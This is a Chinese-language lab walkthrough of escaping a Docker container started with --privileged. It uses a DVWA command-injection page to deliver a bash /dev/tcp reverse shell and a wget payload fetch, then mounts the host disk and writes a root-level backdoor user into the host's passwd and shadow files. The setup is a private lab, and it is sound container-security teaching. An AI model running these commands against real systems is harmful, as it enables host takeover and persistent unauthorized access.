docker特权模式下逃逸

一.什么是docker逃逸

Docker逃逸是容器安全领域最严重的风险之一,指攻击者在控制容器后,突破隔离机制,进而获取宿主机操作系统控制权的攻击行为。

1.1利用不安全配置

危险的"特权模式" :使用 --privileged 启动的容器拥有宿主机root用户的几乎所有能力,攻击者可轻松挂载宿主机文件系统并执行命令。

危险的"挂载操作" :攻击者会寻找敏感挂载点,最典型的是挂载Docker控制套接字/var/run/docker.sock,通过它向宿主机Docker守护进程发指令,创建挂载宿主机根目录的特权容器来实现逃逸。

1.2利用软件漏洞

攻击者利用容器运行时或Linux内核自身的代码缺陷来突破隔离。

典型高危漏洞:历史上出现过多个影响巨大的漏洞,例如2025年曝光的CVE-2025-31133、CVE-2025-52565和CVE-2025-52881,它们都允许攻击者逃逸到宿主机并获得root权限。

攻击方式:攻击者可能通过恶意容器镜像植入漏洞利用代码,一旦该镜像被拉取运行,即可触发漏洞实现逃逸。

1.3利用内核漏洞

由于所有容器共享宿主机的Linux内核,因此任何内核提权漏洞都可能成为逃逸的跳板。攻击者通过在容器内触发漏洞利用,直接攻击宿主机内核,从而获取宿主机root权限

二.环境搭建利用第一种方式进行逃逸

宿主机 攻击机 客户端
10.0.0.6(centos7) 10.0.0.7(kali) 192.168.101.8(Windows)

宿主机为10.0.0.6,在该宿主机安装docker,通过dvwa靶场里面的RCE进行复现,攻击机为kali,在里面跑nc服务进行监听。客户端为个人PC方便进行ssh验证使用

首先将服务器的sshd配置文件进行更改,允许root直接进行登录。通过mobaxterm进行登录。

centos7机器安装docker

bash 复制代码
# step 1: 安装必要的一些系统工具
sudo yum install -y yum-utils
# Step 2: 添加软件源信息
yum-config-manager --add-repo https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo
# Step 3: 安装Docker
sudo yum install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
# Step 4: 开启Docker服务
sudo service docker start

配置docker镜像加速

bash 复制代码
[root@web_server ~]$mkdir -p /etc/docker
[root@web_server ~]$cat > /etc/docker/daemon.json <<EOF
{
"registry-mirrors": [
    "https://docker.m.daocloud.io", 
    "https://hub.rat.dev/"
  ]
}
EOF
[root@web_server ~]$systemctl daemon-reload
#查看docker服务是否起来了
[root@web_server ~]$systemctl status docker.service

拉取dvwa靶场

bash 复制代码
[root@web_server ~]$docker pull vulnerables/web-dvwa

启动dvwa靶场

bash 复制代码
[root@web_server ~]$docker run -d --privileged -p 8080:80 --name dvwa vulnerables/web-dvwa
#查看docker容器运行情况
[root@web_server ~]$docker ps -a 

进行访问网站发现有一个是可以RCE的

三.通过RCE进行上传code码

正常情况

写好code码通过RCE进行传递

bash 复制代码
bash -i >& /dev/tcp/10.0.0.7/4444 0>&1

kali这边进行监听

复制代码
┌──(root㉿kali)-[~]
└─# nc -lvp 4444

正常来说可以这样进行提交,但是这个kali这边并没有进行反弹,因为submit是一个表单提交,会导致将bash的命令进行编码,所以导致kali这边反弹不成功,因此将该code码创建为一个sh文件,在客户端这边开启一个http.server的服务,使得其使用wegt进行下载该sh文件。客户端开启http服务

在RCE哪里使用该命令

bash 复制代码
8.8.8.8 | wget http://192.168.101.8:8000/code.sh

检验是否上传上去了

bash 复制代码
8.8.8.8 | ls

发现并没有code.sh这个文件,那是因为他可能没有wget这个命令,因为大部分容器都是及其精简的不会对其打入很多可用的命令。因此我就使用docker cp复制的方式将该code.sh的文件从宿主机复制到该容器当中。

bash 复制代码
[root@web_server ~]$docker cp code.sh dvwa:/var/www/html/vulnerabilities/exec

在进一步通过RCE查看是否有code.sh这个文件存在了

发现已经存在了,因此我们通过kali开启监听进行反连

查看kali这边发现已经反连成功了

但是这个反连得到的用户为www-data并不是root权限,所以还有可能要做权限提升。由于我们的复现环境只复现docker逃逸,不涉及提权,因此使用简单的办法来进行逃逸。一般来说服务是使用专门的用户进行运行的,所以不使用root运行服务是正常的。

四.进行逃逸

因此进入该容器,直接在容器里面进行运行这个code,然后通过kali进行反连。

bash 复制代码
#进入容器
[root@web_server ~]$docker exec -it dvwa bash
root@da3968b4aecc:/# cd var/www/html/vulnerabilities/exec
root@da3968b4aecc:/var/www/html/vulnerabilities/exec# ls
code.sh  help  index.php  source
root@da3968b4aecc:/var/www/html/vulnerabilities/exec# bash code.sh
bash 复制代码
root@da3968b4aecc:/var/www/html/vulnerabilities/exec# fdisk -l
Disk /dev/nvme0n1: 20 GiB, 21474836480 bytes, 41943040 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x4aa480c8

Device         Boot   Start      End  Sectors Size Id Type
/dev/nvme0n1p1 *       2048  2099199  2097152   1G 83 Linux
/dev/nvme0n1p2      2099200 41943039 39843840  19G 8e Linux LVM


Disk /dev/nvme0n2: 20 GiB, 21474836480 bytes, 41943040 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x73eb995c

Device         Boot    Start      End  Sectors Size Id Type
/dev/nvme0n2p1          2048 10487807 10485760   5G 83 Linux
/dev/nvme0n2p2      10487808 20973567 10485760   5G 83 Linux


Disk /dev/dm-0: 17 GiB, 18249416704 bytes, 35643392 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes


Disk /dev/dm-1: 2 GiB, 2147483648 bytes, 4194304 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
root@da3968b4aecc:/var/www/html/vulnerabilities/exec# cd /ro
cd /ro
bash: cd: /ro: No such file or directory
root@da3968b4aecc:/var/www/html/vulnerabilities/exec# cd /
root@da3968b4aecc:/# mkdir taoyi
root@da3968b4aecc:/# mount /dev/dm-0 taoyi
root@da3968b4aecc:/# ls -l /taoyi/
#这个下面就是宿主机的全部文件了
total 24
drwxr-xr-x   3 root root   19 Nov 13 03:40 apps
lrwxrwxrwx.  1 root root    7 Jun 22  2021 bin -> usr/bin
drwxr-xr-x.  2 root root    6 Aug 10  2024 boot
drwxr-xr-x.  2 root root    6 Aug 10  2024 dev
drwxr-xr-x. 90 root root 8192 Apr 15 02:16 etc
drwxr-xr-x.  4 root root   27 Apr 14 15:16 home
lrwxrwxrwx.  1 root root    7 Jun 22  2021 lib -> usr/lib
lrwxrwxrwx.  1 root root    9 Jun 22  2021 lib64 -> usr/lib64
drwxr-xr-x.  2 root root    6 Jun 22  2021 media
drwxr-xr-x.  2 root root    6 Jun 22  2021 mnt
drwxr-xr-x.  4 root root   35 Mar 11 01:11 opt
drwxr-xr-x.  2 root root    6 Aug 10  2024 proc
dr-xr-x---.  5 root root 4096 Apr 15 03:04 root
drwxr-xr-x.  2 root root    6 Aug 10  2024 run
lrwxrwxrwx.  1 root root    8 Jun 22  2021 sbin -> usr/sbin
drwxr-xr-x.  2 root root    6 Jun 22  2021 srv
drwxr-xr-x.  2 root root    6 Aug 10  2024 sys
drwxrwxrwt. 12 root root 4096 Apr 15 03:56 tmp
drwxr-xr-x. 12 root root  144 Aug 10  2024 usr
drwxr-xr-x. 21 root root 4096 Mar 12 14:25 var
#写入用户名和密码
root@da3968b4aecc:/# echo "LLL:x:0:0::/root:/bin/bash" >> /taoyi/etc/passwd
root@da3968b4aecc:/# echo "LLL:\$6\$CK3xjRcCEIN4Zpne\$FNgZet6mHzf9jyZ3y/QEL7SH.qdDwzuuC99pFref6JGqGEK4wwRERyMCWESeIVdFT/pVK3/1/MAbvtkAm4.sf1:20557::::::" >>/taoyi/etc/shadow
root@da3968b4aecc:/# echo "lll:x:1000:1000::/home/lll:/bin/bash" >> /taoyi/etc/passwd
root@da3968b4aecc:/# echo "lll:\$6\$HxPvHzJDzIG4GQXe\$Qkh1UePFGUpju4NPQgMgUplAKalPiWp6.15Ig6bml2NzSflfxTAMYQG.I7L5xRjwLO2J5wCjkwVlXYu9I.cmM1:20557:0:99999:7:::" >>/taoyi/etc/shadow
root@da3968b4aecc:/#

首先通过普通用户进行登录,然后再通过su进行切换用户到LLL,发现已经逃逸到了宿主机了

五、总结

1.在进行docker逃逸的时候要保证,其管理员在运行容器的时候使用到了**--privileged**特权进行启动,其次要在容器中传递shell代码,因为容器里面不会打入很多工具,可能连常用的命令vim,wget,curl,等都没有。所以这个码不一定那么好上传上去。

2.其次即使这个码上传上去了,可能获取到的只是一个普通的账号,在容器里面并不是用root启动的,因此这个时候又得要使用到提权,将权限提权到root。

3.如果是root权限的话进行反连通过挂载磁盘的方式,将宿主机的根文件系统挂在到容器里面,然后通过在密码文件passwd 和密码文件里面shadow写入用户和密码,因为如果直接用写入的用户将其的ID改为0的时候,在连接的时候会进行拒绝,所以就需要写入两个用户,一个为普通用户一个为超级管理员,用普通用户进行登录,然后通过su进行切换,即可拿到该宿主机的权限。

相关推荐
XIAOHEZIcode10 小时前
Linux系统鼠标偏移常见原因以及修复方案
linux·运维·游戏
用户0328472220701 天前
如何搭建本地yum源(上)
运维
武子康1 天前
调查研究-183 Apple container:Mac 上用轻量 VM 跑 Linux 容器,Swift 会改写本地容器体验吗?
docker·容器·apple
大树884 天前
金刚石散热越强,管路越先见顶
大数据·运维·服务器·人工智能·ai
摇滚侠4 天前
Linux CentOS7 rpm 安装 MySQL 5.7
linux·运维·mysql
霸道流氓气质4 天前
领域驱动设计(DDD)在 Spring Boot 微服务中的实践指南
运维·spring boot·微服务
Inhand陈工4 天前
基于台达PLC与映翰通IG502的智慧水产养殖精准投喂与远程运维解决方案
运维·人工智能·物联网·阿里云·信息与通信
Alsn864 天前
等待学习-学习目录:Docker 容器安全攻防
学习·安全·docker
酣大智4 天前
ARP代理--工作原理
运维·网络·arp·arp代理
shushangyun_4 天前
2026年快消品B2B系统推荐:支持终端门店订货、促销政策自动化的工具?
java·运维·网络·数据库·人工智能·spring·自动化